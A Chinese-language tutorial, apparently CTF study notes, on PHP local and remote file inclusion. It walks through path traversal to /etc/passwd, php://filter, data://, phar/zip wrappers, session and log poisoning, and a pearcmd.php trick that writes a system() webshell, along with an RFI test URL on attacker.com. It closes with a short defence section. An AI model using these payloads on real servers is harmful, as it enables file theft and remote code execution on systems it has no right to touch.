PHP文件包含漏洞
PHP文件包含漏洞
基础知识
概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行
“包含”:以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含
攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞
相关函数
include, require
require报错会终止程序,但是include会继续执行下面代码。
include_once ,require_once
包含过的就不会继续包含
漏洞类型
LFI(Local File Inclusion)
本地文件包含漏洞,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI
RFI(Remote File Inclusion)
远程文件包含漏洞,指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大
RFI对php.ini
里的配置有些要求:
allow_url_fopen = On
allow_url_include = On
allow_url_fopen
允许 PHP 读取远程文件
allow_url_include
则允许 PHP 在代码中包含远程文件
注:在php.ini
中,allow_url_fopen
默认一直是On,而allow_url_include
从php5.2之后就默认为Off
测试
如果目标服务器配置允许远程文件包含(allow_url_include=On
),可以尝试包含远程文件,例如:
1 | http://example.com/index.php?page=http://attacker.com/shell.txt |
如果服务器加载了远程文件的内容,说明存在远程文件包含漏洞
用/etc/passwd
来检验漏洞存在
常见的测试文件包括:
/etc/passwd
(Linux系统用户信息)/etc/hosts
(主机名配置)/proc/self/environ
(环境变量)- Apache/Nginx日志文件(如
/var/log/apache2/access.log
)
/etc/passwd
文件包含 root:
关键字,如果返回 root:x:0:0:
说明读取成功
路径遍历
http://target.com/index.php?file=../../../../../../etc/passwd
也可用python脚本
1 | import requests |
利用 php://filter
进行 Base64 编码
http://target.com/index.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
Null Byte
截断(PHP <5.3.4)
如果服务器强制 .php
后缀:
http://target.com/index.php?file=../../../../../etc/passwd%00
PATH_INFO
截断
http://target.com/index.php?file=../../../../../../etc/passwd....................
包含方法
php伪协议
1 | 1 file:// — 访问本地文件系统 |
file://
访问本地文件系统,若不加协议名称,默认封装协议为file://
协议
条件
allow_url_fopen:off/on
allow_url_include :off/on
作用
用于访问本地文件系统(服务器中的文件)
在CTF中通常用来读取本地文件的且不受allow_url_fopen
与allow_url_include
的影响
注:使用file协议时无法使用相对路径
1 | cmd=file://flag #用法错误,声明file协议时无法使用相对路径 |
使用实例
1 | #Linux |
http://
访问 HTTP(s) 网址
条件
- allow_url_fopen:on
- allow_url_include:on
作用
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含
使用实例
1 | cmd=http://example.com/phpinfo.txt #读取http://example.com/phpinfo.txt文件 |
php://
访问各个输入/输出流(I/O streams),伪协议提供了多种不同的方式来访问和处理数据
常见
1 | php://input #这个伪协议用于访问HTTP请求的原始主体数据。它通常用于从POST请求中读取数据。 |
在CTF中经常使用的是**php://filter
和php://input
**、php://filter
用于读取源码,php://input
用于执行POST参数中的php代码
条件
allow_url_fopen:off/on
allow_url_include
:仅php://input
、php://stdin
、php://memory
、php://temp
需要on
php://input
条件
allow_url_fopen:off/on
allow_url_include :on
1 | GET[URL部分] |
作用
主要用来接收post数据
CTF中文件包含题目里,可以使用php://input
协议,将post请求中的数据作为php代码执行
php://filter
条件
allow_url_fopen:off/on
allow_url_include :off/on
作用
可以作为一个位于原始数据流和最终目标之间的中间流来处理其他流,负责对数据进行处理(即读取或写入数据之前对其进行修改或过滤)
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。(加绝对路径) |
read=<读链的筛选列表> | read参数指定 一个或多个过滤器 用于读操作,可以设定一个或多个过滤器名称,以管道符分隔。(读取文件后编码输出) |
write=<写链的筛选列表> | write参数指定 一个或多个过滤器 用于写操作,可以设定一个或多个过滤器名称,以管道符分隔。(编码重写入文件) |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
注:
read
和write
指令是互斥的,不能同时使用。- 如果存在多个过滤器,字符串从左到右的顺序经过过滤器
常用过滤语句
1 | ?file=php://filter/read=convert.base64-encode/resource=/flag //读取根目录flag文件,进行base64编码 |
常用过滤器(未完)
字符串过滤器
string.rot13
(对字符串执行ROT13
编码转换)string.toupper
(将字符串转化为大写)string.tolower
(将字符串转化为小写)string.strip_tags
(自 PHP 7.3.0 起废弃,从字符串中去除 HTML 和 PHP 标记)
转换过滤器
注:转换过滤器是 PHP 5.0.0 添加的
常用:**
convert.base64-encode
和convert.base64-decode
**(将字符串进行base64编码加解密)convert.quoted-printable-encode
和convert.quoted-printable-decode
(将字符串进行Quoted-printable编码加解密)convert.iconv.*
(将字符串进行字符编码转化)
Quoted-Printable(QP)编码 是一种 可读性较高的7位编码,用于安全传输包含 特殊字符(如非 ASCII 字符)的文本,尤其是在 电子邮件(MIME) 中。它的主要目的是在 兼容 7-bit 传输协议(如 SMTP)的同时,保持尽可能的可读性
编码规则:
ASCII 可打印字符(33-126) 直接保留,如
abcXYZ123
空格和制表符(TAB)
- 末尾空格必须用
=20
表示(防止邮件客户端自动去掉)不可打印字符(0-31, 127-255),使用
=XX
形式编码,其中XX
是 两位十六进制表示换行符(CRLF,
\r\n
)
- QP 默认使用
\r\n
作为换行符- 长于 76 个字符 的行必须 换行,并在行尾加
=
作为软换行
phar://
利用条件
php版本大于等于php5.3.0allow_url_fopen = On
allow_url_include = On
原理
phar://
是用来解压的伪协议
phar://
不管参数中是什么拓展名,都会被当做压缩包
用法
?file=phar://压缩包/压缩文件
示例
phar://xxx.png/shell.php
写一个木马文件shell.php
,然后用zip://
伪协议压缩成shell.zip
,最后修改后缀名为.png
,上传图片
输入测试:http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php
这样phar://
就会将png当做zip压缩包进行解压,并且访问解压后的shell.php
文件
zip://
利用条件
php版本大于等于php5.3.0allow_url_fopen = On
allow_url_include = On
和phar://
伪协议原理类似,但用法不同
用法
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
注意:需要将#转换成URL编码:%23
zip://
& bzip2://
& zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg、png、gif等等。
注:zlib://
需要是服务器内的压缩包文件、但不局限于后缀名
示例
1.zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
压缩 phpinfo.txt
为 phpinfo.zip
,压缩包重命名为 phpinfo.jpg
,并上传目录/var/www/html/
,以file为文件包含的参数为例:
1 | ?file=zip:///var/www/html/phpinfo.jpg#phpinfo.txt |
2.compress.bzip2://file.bz2
压缩 phpinfo.txt
为 phpinfo.bz2
并上传(同样支持任意后缀名),并上传目录/var/www/html/
,以file为文件包含的参数为例:
1 | ?file=compress.bzip2:///var/www/html/phpinfo.bz2 |
3.compress.zlib://file.gz
压缩 phpinfo.txt
为 phpinfo.gz
并上传(同样支持任意后缀名),并上传目录/var/www/html/
,以file为文件包含的参数为例:
1 | ?file=compress.zlib:///var/www/html/phpinfo.gz |
data://
条件
php版本大于等于php5.2allow_url_fopen = On
allow_url_include = On
用法
data://text/plain,[加上所需传输的经过url编码数据]
1 | http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> |
data://text/plain;base64,[加上所需传输的经过base64编码再经过url编码的数据]
1 | http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
注:加号 + 的url编码为%2b
,PD9waHAgcGhwaW5mbygpOz8%2b
的base64解码为: <?php phpinfo();?>
expect://
PHP要安装expect
扩展
1 | http://example.com/index.php?file=php:expect://id |
包含session
利用条件
session文件路径已知,且其中内容部分可控
过滤了点之后不能使用文件包含来getshell了,能利用无后缀的文件session,利用session.upload_progress
来进行文件包含,利用PHP_SESSION_UPLOAD_PROGRESS
参数
基础知识
一些配置选项
该功能是在php5.4添加的,首先先了解下php.ini以下的几个默认选项
1 | session.upload_progress.enable = on |
enable = on
表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;cleanup = on
表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;cleanup选项决定了我们需要条件竞争name
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;prefix+name
将表示为session中的键名;
session.auto_start
:默认为off,若为on,php会在接收请求的时候会自动初始化Session,不再需要执行session_start()
session.use_strict_mode
:默认值为0,此时用户可以自定义Sesssion ID(默认情况下,PHP允许任何客户端使用 PHPSESSID
发送请求并恢复会话,如果攻击者提前猜测或设置了PHPSESSID
,则可能劫持用户的会话),比如,我们在Cookie里设置PHPSESSID=ROIS
,PHP将会在服务器上创建一个文件/tmp/sess_ROIS
。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)
+由我们构造的session.upload_progress.name
值组成,最后被写入sess_文件里
注:由于cleanup=on
,会导致文件上传后,session文件的内容立即清空。此时我们得利用条件竞争,在session文件的内容被清空前进行文件包含
常见的php-session存放位置
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
利用
python脚本
1 | import io |
包含日志
访问日志
利用条件
需要知道服务器日志的存储路径,且日志文件可读
日志位置
nginx:/var/log/nginx/access.log
apache:/var/log/apache2/access_log(access.log)
注:在CTF中,log的地址常被修改掉,可以通过读取相应的配置文件后,再进行包含
payload插入
位置:User-Agent头,GET参数
User-Agent头不需要抓包解码,GET参数需要。
最后getshell即可
SSH log
SSH(Secure Shell)是一种加密协议,主要用于远程安全登录和服务器管理
利用条件
需要知道ssh-log的位置,且可读。默认情况下为/var/log/auth.log
ubuntu中:ssh '<?php phpinfo(); ?>'@remotehost
之后会提示输入密码等等,随便输入。
然后在remotehost的ssh-log中即可写入php代码
包含environ(环境变量)
利用条件
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
利用
如果一个 Web 服务器有 LFI(本地文件包含)漏洞,但 php://filter
、log poisoning
都不可用,那么 /proc/self/environ
可能是最后的希望
如果目标服务器运行 PHP,并且 $_SERVER['HTTP_USER_AGENT']
被写入环境变量,可以尝试在 User-Agent
头中注入恶意代码:
1 | GET /?file=/proc/self/environ HTTP/1.1 |
然后访问http://target.com/?file=/proc/self/environ&cmd=whoami
包含fd
跟包含environ类似
包含临时文件
同样要竞争
包含上传文件
配合文件上传漏洞,基本原理不变
包含pearcmd
pearcmd.php
是 PHP PEAR(PHP Extension and Application Repository) 的命令行管理工具,如果服务器存在 本地文件包含(LFI)漏洞,可以通过包含 pearcmd.php
并传参来执行任意 PHP 代码,从而实现 远程命令执行(RCE)
pearcmd.php
可能的路径
Linux
1 | /usr/share/php/pearcmd.php |
Windows(XAMPP)
1 | C:\xampp\php\PEAR\pearcmd.php |
利用
直接包含 pearcmd.php
进行 RCE
如果服务器有 LFI 漏洞,可以直接访问:
1 | http://target.com/index.php?file=/usr/share/php/pearcmd.php |
然后使用 +config-create+
写入 Webshell:
1 | http://target.com/index.php?file=/usr/share/php/pearcmd.php&+config-create+/var/www/html+<?=system($_GET['cmd']);?>+.php |
这将在 /var/www/html/.php
生成 Webshell,然后访问:
1 | http://target.com/.php?cmd=id |
即可执行系统命令
结合 php://input
进行代码执行
如果服务器 allow_url_include=On
,可以:
1 | http://target.com/index.php?file=php://input |
然后用 POST
发送:
1 | <?php system('id'); ?> |
如果 pearcmd.php
存在,也可以利用:
1 | http://target.com/index.php?file=/usr/share/php/pearcmd.php&+config-show |
这样 pearcmd.php
可能会解析 session 或 临时文件,执行恶意代码
结合 session.auto_start
进行代码执行
如果 session.auto_start=1
,可以将恶意代码写入 $_SESSION
,然后通过 pearcmd.php
解析:
1 | <?php |
然后访问:
1 | http://target.com/index.php?file=/usr/share/php/pearcmd.php&+config-show |
可能会解析 $_SESSION
并执行 payload
代码
绕过姿势
指定前缀
目录遍历
../
可以进行目录遍历
编码绕过
有时把点号过滤了,尝试编码点号
指定后缀
URL
URL格式在此处具有妙用,可以在payload最后加**?
或者#(url编码为%23)
,或者空格绕过%20**
使用协议
phar://和zip://都可以
长度截断
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
则后缀/test/test.php
,在达到最大值后会被直接丢弃掉
1 | import requests |
/etc/passwd
文件包含 root:
关键字,如果返回 root:x:0:0:
说明读取成功
0字节截断
利用条件: php版本 < php 5.3.4
index.php?file=phpinfo.txt%00
指定前后缀
1 | <?php |
可以使用目录遍历和长度截断(或者0字节截断),有必要的话可以对点号编码,至少协议和URL使用不了
防御方案
- 在很多场景中都需要去包含web目录之外的文件,如果php配置了
open_basedir
,则会包含失败
open_basedir
的主要作用是限制 PHP 脚本只能访问指定的目录及其子目录。这样,即使某个脚本存在漏洞,也无法访问超出这些限定目录之外的文件
- 做好文件的权限管理
- 对危险字符进行过滤等等